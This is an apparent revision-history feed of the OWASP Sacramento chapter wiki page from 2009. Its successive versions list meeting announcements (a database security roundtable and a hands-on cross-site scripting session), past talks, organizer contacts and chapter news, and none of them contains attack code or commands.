&lt;br /&gt;
[http://fs17.formsite.com/rhustad/form204008265 RSVP for this event]&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=70014</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=70014"/>
				<updated>2009-09-29T05:36:25Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING: DATABASE SECURITY - Thursday October 8, 2009  6:00-8:00pm ==&lt;br /&gt;
&lt;br /&gt;
The next OWASP Sacramento meeting is on Thursday October 8th at 6pm.  This meeting will be hosted at EDS Medi-Cal in Rancho Cordova, CA. Snacks and drinks will be provided.&lt;br /&gt;
&lt;br /&gt;
A roundtable discussion on Database Security will be chaired by Ned Allison, a local DBA who specializes in information security.  Mr. Allison will give a short overview of database security and then the floor will be open to discussion and questions.  Topics that may be covered include:&lt;br /&gt;
* Database server hardening&lt;br /&gt;
* Database authentication protocols&lt;br /&gt;
* Database authentication patterns (identity delegation, trusted subsystem)&lt;br /&gt;
* Database access control&lt;br /&gt;
* Secure schema design&lt;br /&gt;
* Best practices for data consumers&lt;br /&gt;
* Best practices for developers&lt;br /&gt;
* Bring your own database security topic&lt;br /&gt;
&lt;br /&gt;
The emphasis will be on practical tips that you can implement immediately. We expect that a number of DBAs, developers, and security professionals will attend so there will be a lot of people to learn from and network with.  For an orientation to the topic, see the OWASP Backend Security Project at http://www.owasp.org/index.php/OWASP_Backend_Security_Project &lt;br /&gt;
&lt;br /&gt;
Ned Allison has 30 years of database experience and 20 years of security experience.  He is an Information Security Engineer/Architect at the Legislative Counsel of California, Legislative Data Center.&lt;br /&gt;
&lt;br /&gt;
* LOCATION INFORMATION: Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670  &lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=70013</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=70013"/>
				<updated>2009-09-29T05:26:58Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING: DATABASE SECURITY - Thursday October 8, 2009  6:00-8:00pm ==&lt;br /&gt;
&lt;br /&gt;
The next OWASP Sacramento meeting is on Thursday October 8th at 6pm.  This meeting will be hosted at EDS Medi-Cal in Rancho Cordova, CA. Snacks and drinks will be provided.&lt;br /&gt;
&lt;br /&gt;
A roundtable discussion on Database Security will be chaired by Ned Allison, a local DBA who specializes in information security.  Mr. Allison will give a short overview of database security and then the floor will be open to discussion and questions.  Topics that may be covered include:&lt;br /&gt;
* Database server hardening&lt;br /&gt;
* Database authentication protocols&lt;br /&gt;
* Database authentication patterns (identity delegation, trusted subsystem)&lt;br /&gt;
* Database access control&lt;br /&gt;
* Secure schema design&lt;br /&gt;
* Best practices for data consumers&lt;br /&gt;
* Best practices for developers&lt;br /&gt;
* Bring your own database security topic&lt;br /&gt;
&lt;br /&gt;
The emphasis will be on practical tips that you can implement immediately. We expect that a number of DBAs, developers, and security professionals will attend so there will be a lot of people to learn from and network with.  For an orientation to the topic, see the OWASP Backend Security Project at http://www.owasp.org/index.php/OWASP_Backend_Security_Project &lt;br /&gt;
&lt;br /&gt;
* LOCATION INFORMATION: Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670  &lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=70012</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=70012"/>
				<updated>2009-09-29T05:22:30Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING: DATABASE SECURITY - Thursday October 8, 2009  6:00-8:00pm ==&lt;br /&gt;
&lt;br /&gt;
The next OWASP Sacramento meeting is on Thursday October 8th at 6pm.  This meeting will be hosted at EDS Medi-Cal in Rancho Cordova, CA. Snacks and drinks will be provided.&lt;br /&gt;
&lt;br /&gt;
A roundtable discussion on Database Security will be chaired by Ned Allison, a local DBA who specializes in information security.  Mr. Allison will give a short overview of database security and then the floor will be open to discussion and questions.  Topics that may be covered include:&lt;br /&gt;
* Database server hardening&lt;br /&gt;
* Database authentication protocols&lt;br /&gt;
* Database authentication patterns (identity delegation, trusted subsystem)&lt;br /&gt;
* Database access control&lt;br /&gt;
* Secure schema design&lt;br /&gt;
* Best practices for data consumers&lt;br /&gt;
* Best practices for developers&lt;br /&gt;
* Bring your own database security topic&lt;br /&gt;
&lt;br /&gt;
The emphasis will be on practical tips that you can implement immediately. We expect that a number of DBAs, developers, and security professionals will attend so there will be a lot of people to learn from and network with.  For an orientation to the topic, see the OWASP Backend Security Project at http://www.owasp.org/index.php/OWASP_Backend_Security_Project &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=68989</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=68989"/>
				<updated>2009-09-15T18:40:53Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING: DATABASE SECURITY - Thursday October 8, 2009  6:00-8:00pm ==&lt;br /&gt;
&lt;br /&gt;
The next OWASP Sacramento meeting is tentatively planned for Thursday October 8th at 6pm.  This meeting will be hosted at EDS Medi-Cal in Rancho Cordova, CA. &lt;br /&gt;
&lt;br /&gt;
A roundtable discussion on Database Security will be chaired by Ned Allison, a local DBA who specializes in information security.  More details are coming soon.  Please spread the word to DBAs, developers, server administrators, IT managers, and information security professionals!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=67771</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=67771"/>
				<updated>2009-08-20T18:40:49Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING: Thursday October 1, 2009  6:00-8:00pm ==&lt;br /&gt;
&lt;br /&gt;
The next OWASP Sacramento meeting is tentatively planned for Thursday October 1st at 6pm.  This meeting will be hosted at EDS Medi-Cal in Rancho Cordova, CA. &lt;br /&gt;
&lt;br /&gt;
The topic is TBD but proposals from the last meeting included:&lt;br /&gt;
* Database security hardening and configuration&lt;br /&gt;
* Baking security into the SDLC&lt;br /&gt;
* .NET Security&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=66215</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=66215"/>
				<updated>2009-07-17T19:19:49Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING: Thursday July 30, 2009  6:00-8:00pm ==&lt;br /&gt;
=== Hands on Cross-Site Scripting ===&lt;br /&gt;
&lt;br /&gt;
The next OWASP Sacramento meeting will be on Thursday July 30th at 6pm.  This meeting will be hosted at EDS Medi-Cal in Rancho Cordova, CA. &lt;br /&gt;
&lt;br /&gt;
TOPIC  &lt;br /&gt;
&lt;br /&gt;
Roman Hustad will lead a hands-on training session focused on Cross-Site Scripting using the [[:Category:OWASP_WebGoat_Project|WebGoat]] practice application on the [[:Category:OWASP_Live_CD_Project|OWASP Live CD]].  Bring your laptop with a CD-ROM drive; copies of the Live CD will be provided.  Food and beverage will not be provided this month but you are welcome to bring your own.  &lt;br /&gt;
&lt;br /&gt;
Please use the online RSVP form below by 7/28/09 if you plan to attend.   &lt;br /&gt;
   &lt;br /&gt;
http://fs2.formsite.com/mpetteys/form843609946/index.html&lt;br /&gt;
   &lt;br /&gt;
SPEAKER BIO:   &lt;br /&gt;
&lt;br /&gt;
